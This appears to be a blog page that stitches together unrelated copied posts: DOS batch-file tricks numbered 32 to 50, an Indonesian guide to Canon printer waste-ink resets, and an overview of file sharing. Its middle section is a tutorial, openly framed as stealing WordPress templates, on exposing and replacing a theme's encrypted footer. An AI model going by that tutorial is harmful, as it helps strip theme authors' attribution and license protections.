32. Delete a file with copy
COPY nul filename

33. Xcopy one file to another without being asked if it's a file or directory.
ECHO F |XCOPY.EXE file1 file2

34. Xcopy a file to another directory w/o pipe.
XCOPY c:example1.fil w:temp

35. Xcopy a file to another directory w/o pipe.
XCOPY c:example1.fil w:temp*example1.fil

36. Use mode.com to truncate a string.
:: truncate one character, or up to and including a delimiter.
MODE name.ext
:: returns: Invalid parameter - name
MODE think/
:: returns: Invalid parameter - thin

37. Determine if a file is a 0 byte file without deleting it.
:: is0byte.bat
@ECHO off
COPY>nul %1 nul |FIND "1 file(s) copied"
IF not errorlevel=1 ECHO %1 is not a 0 byte file
IF errorlevel=1 ECHO %1 is a 0 byte file

:: is0byte2.bat
COPY %1 nul |FIND " 0 file" >nul
IF not errorlevel=1 ECHO %1 is a 0 byte file
IF errorlevel=1 ECHO %1 is not a 0 byte file

38. Place a line without a CR/LF (Carriage Return/Line Feed) into a file.
After creating this input file which has an End Of File character as its last character, you can TYPE the input file into a new batch file which will not have a CR/LF. See FAQ 57.
:: setvar.inp
@ECHO off
:: EOF character created in edit by Ctrl+P+Z
SET %1=EOF

39. Get input from file into variable.
Where result1.dat contains command output or other text. This example places the current directory into a variable.
:: result.bat
@ECHO off
CD > result1.dat ECHO. >> result1.dat
DATE < result1.dat | find "):" > result1.bat
ECHO set curdir=%%4> enter.bat
FOR %%C IN (CALL DEL) DO %%C result1.bat
DEL enter.bat
:: %optional% DEL result1.dat
:: %optional% ECHO. current directory is %curdir%

40. Timestamp and/or datestamp (touch) a file with the current system date and time.
COPY/Y filename /B+,,

41. Parse a string with the / (slash) character.
ECHO>01/31/2000
results in a file named 01 which contains:
/31/2000

ECHO set var=>01/31/2000
results in a file named 01 which contains:
set var=/31/2000

42. Remove a leading / (slash) character from a string.
ECHO/31/2000
results in:
31/2000

43. A pause which requires Ctrl+Break instead of any key.
After Ctrl+Break, there is the usual choice to continue or abort.
COMMAND nul /CECHO ;|CHOICE /C; /N

44. Display number of files in directory, bytes used and bytes free.
DIR/W c:bat |find "y"
Includes subdirectories:
DIR/W/S c:bat |find "y" |more

45. Edit the %path% at the prompt.
After running edpath.bat, use [F3], or [Up Arrow] (if doskey is installed) to edit the path. With this method, a temporary batch will remain in the %temp% directory. This trick courtesy of Laura Fairhead, Laura’s Home Page.
:: edpath.bat
@ECHO off
PATH>%temp%.edpath1.bat
CALL<%temp%.edpath1.bat

46. Get current directory into a variable.
This trick courtesy of Laura Fairhead, Laura’s Home Page.
:: curdir.bat
@SET cd=
@SET promp$=%prompt%
@PROMPT SET cd$Q$P
@CALL>%temp%.setdir.bat
@
% do not delete this line %
@ECHO off
PROMPT %promp$%
FOR %%c IN (CALL DEL) DO %%c %temp%.setdir.bat
ECHO. current directory=%cd%

47. Get current date into a variable.
:: gdate.bat (GetDATE)
@ECHO off
SET gdate1=
ECHO SET date=%%3>%temp%.%%gdate1%%.bat
DIR/A-D/-W/L/-P %temp% | FIND “%%gdate1%%” >%temp%.%%gdate2%%.bat
SET gdate1=%temp%.%%gdate1%%
CALL %temp%.%%gdate2%%.bat
SET gdate1=
DEL %temp%.%%gdate?%%.bat
ECHO. todays date is %date%

48. Get latest (last) file into a variable.
I received a couple of emails about lastfile.bat. Here is a clarification. “Last non hidden/system file” refers to the last file according to physical placement on disk which is not necessarily the last file written to disk.
:: lastfile.bat
@ECHO off
:: Get last non hidden/system file in current directory into
:: variable (last file on disk, but not by date or last modified).
:: Accepts wildcard specification for parameter 1.
SET lastfil=
IF not “%1″==”" FOR %%f in (%1) do set lastfil=%%f
IF “%1″==”" FOR %%f in (*.*) do set lastfil=%%f
IF not “%1″==”" ECHO. last %1 file in directory is %lastfil%
IF “%1″==”" ECHO. last file in directory is %lastfil%

49. Get oldest (1st) file into a variable.
:: 1stfile.bat
@ECHO off
:: Get first non hidden/system file in current directory into
:: variable (1st file on disk, but not by date).
:: Accepts wildcard specification for parameter 1.
IF “%2″==”ReCuRs” GOTO recurs
SET fspec=%1
IF not “%1″==”" FOR %%f in (%1) do %0 %%f ReCuRs
IF “%1″==”" FOR %%f in (*.*) do %0 %%f ReCuRs

:recurs
SET 1stfile=%1
IF not “%fspec%”==”" ECHO. 1st %fspec% file in directory is %1
IF “%fspec%”==”" ECHO. 1st file in directory is %1
::

50. Keep a connection alive.
netstat -e 15
Although it cannot be used as a delay function because it must be broken by a CTRL+C, it is not processor intensive and does not send any packets on the network. However, it acts as a great way to hold a connection open, such as when someone uses a Terminal Service connection, rather than a ping or dir loop. This does a check on net card statistics every 15 seconds, and runs in a loop automatically. –

CREDITS TO:

Tip submitted by Mike McKee
Batfiles: The DOS batch file programming handbook & tutorial

copas from CCPB kaskus.us
posted by : kromoxs – kaskus addict
http://kaskus.us/showpost.php?p=68636090&postcount=1

nah, terkadang kita nemukan footer yang di encrypt kayak gini >>>

pusing juga kepala waktu pertama kali liat yang beginian, padahal bukan programer   (sumpah ane juga gak tau tuh bahasa apa)

tapi ternyata gak butuh menjadi seorang programmer ulung untuk nyolong templates

LAngkah Pertama
bukak index.php
Cari Code kayak gini di index.php tadi

<?php get_footer(); ?>

Step 2
bikin jadi kayak gini

<!--Footer code dimulai dari sini-->

<?php get_footer(); ?>

<!--Footer code abis dimari-->

Save  file.

Step 3
load Theme di browser, pas udah kebuka pencet
Ctrl + U (Firefox)

Step 4
Copy yang ada  <!--Footer code starts here--> apalah ini isinya<!--Footer code ends here--> ini source code nya footer.

sekarang, bukak footer.php dan replace code yan g terencrypt dengan code diantara tadi.

Beresss ^_^

CARA MERESET WASTE INK COUNTER CANON MP160/MP145
Sebelum mereset lihat dulu pesan error yang terdapat pada lcd printer anda :
cara dibawah ini digunakan untuk memperbaiki printer yang mempunyai pesan ERROR E27

1. Matikan printer(pastikan kabel power masih terpasang), tekan dan tahan tombol STOP/RESET kemudian tekan dan tahan tombol ON/OFF dan lepas STOP/RESET,
kemudian tekan tombol STOP/RESET 2x
2. Lepaskan kedua tombol, sekarang printer dalam posisi SERVICE MODE (pada LCD printer muncul angka”0″)
3. Setelah lampu on/off berwarna hijau, silahkan tekan tombol STOP/RESET sesuai dengan petunjuk berikut:
di tekan 1x = lampu Orange nyala >untuk Service pattern print
di tekan 2x = lampu Hijau nyala >untuk EEPROM print
di tekan 3x = lampu Orange nyala >untuk EEPROM reset
di tekan 4x = Lampu Hijau Nyala >untuk Waste ink counter reset
4. Matikan printer dan cabut kabel POWER.
5. Hidupkan kembali printer anda

—- cara ke 2

Step 1 Push Power switch by continue (Tekan Power On/Off)
Step 2 inserrt plug(Masukan Power, Power Tetap di Tekan)
step 3 Tekakan Tombol Reset 1x, lepaskan Tombol Pwr, Tekan Reset sekali lagi Sampai Menjadi ‘0′
Step 4 Push + display change from “0? to “1?(tekan tmbl + Untk merubh ‘0′ ke ‘1′)
Step 5 Push Power switch again , Printer will be print 1 page(tekan tmbl pwr –> tmbl start sampai ngeprint 1 hal.)
step 6 Open cover(buka tutup printer)
Step 7 unplug(cabut kabel power)
Step 8 Take out ink 40 and 41(lepaskan catridge 40 dan 41)
Step 9 Insert plug again(pasang kabel power)
Step 10 Push power switch(tekan tmbl power)
Step 11 Open cover (scan cover)(buka tutup scaner)
Step 12 Inksert ink 40 , 41 again(masukan catridge 40 dan 41)
Printer will be not alaram low ink and not shown error code “E5?

File sharing dengan Microsoft Windows

Microsoft Windows (dan lain sistem operasi komputer pribadi) berisi fitur untuk file sharing.Misalnya, file folder Windows dapat di pakai di seluruh lokal area network (LAN) atau Internet Explorer menggunakan interface dan pemetaan drive jaringan. Anda dapat juga mengatur pembatasan akses keamanan yang dapat mengendalikan siapa saja yang di temui di jaringan itu ( dengan aplikasi dan pengetahuan yang mendukung tentunya)

Ftp file transfer

File Transfer Protocol (FTP) adalah cara clasic tetapi masih banyak cara untuk berbagi file di Internet. Sebuah pusat komputer yang disebut server FTP menyimpan semua file untuk dibagi, sementara komputer dari jauh menggunakan software FTP klien dapat masuk ke server untuk memperoleh salinan data yang tersimpan di server.

Hampir Semua sistem operasi komputer modern berisi software FTP klien (minimal mampu menjalankannya) , dan Web browser populer seperti Internet Explorer, Mozilla Firefox, Opera juga dapat dikonfigurasi untuk disgunakan sebagai klien FTP. program Alternatif klien FTP juga tersedia untuk download gratis di Internet. Seperti dengan Windows file sharing, keamanan akses pilihan dapat ditetapkan pada server FTP, sehingga klien harus menggunakan nama login dan password valid untuk dapat mengambil data di server.

P2P – peer to peer file sharing

Peer to peer (P2P) file sharing yang sangat populer untuk metode swapping file besar di Internet, terutama musik dan video.Tidak seperti FTP, P2P file sharing sistem tidak menggunakan server pusat tetapi memungkinkan semua komputer pada jaringan untuk memiliki fungsi sama sebagai klien dan server.Sejumlah perangkat lunak P2P gratis setiap ada program mereka sendiri dengan keunggulan teknis dan di gemari masyarakat salah satunya adalah Instant Messaging (IM) adalah sebuah sistem P2P jenis aplikasi paling sering digunakan untuk chatting, tetapi semua perangkat lunak IM populer juga mendukung file sharing.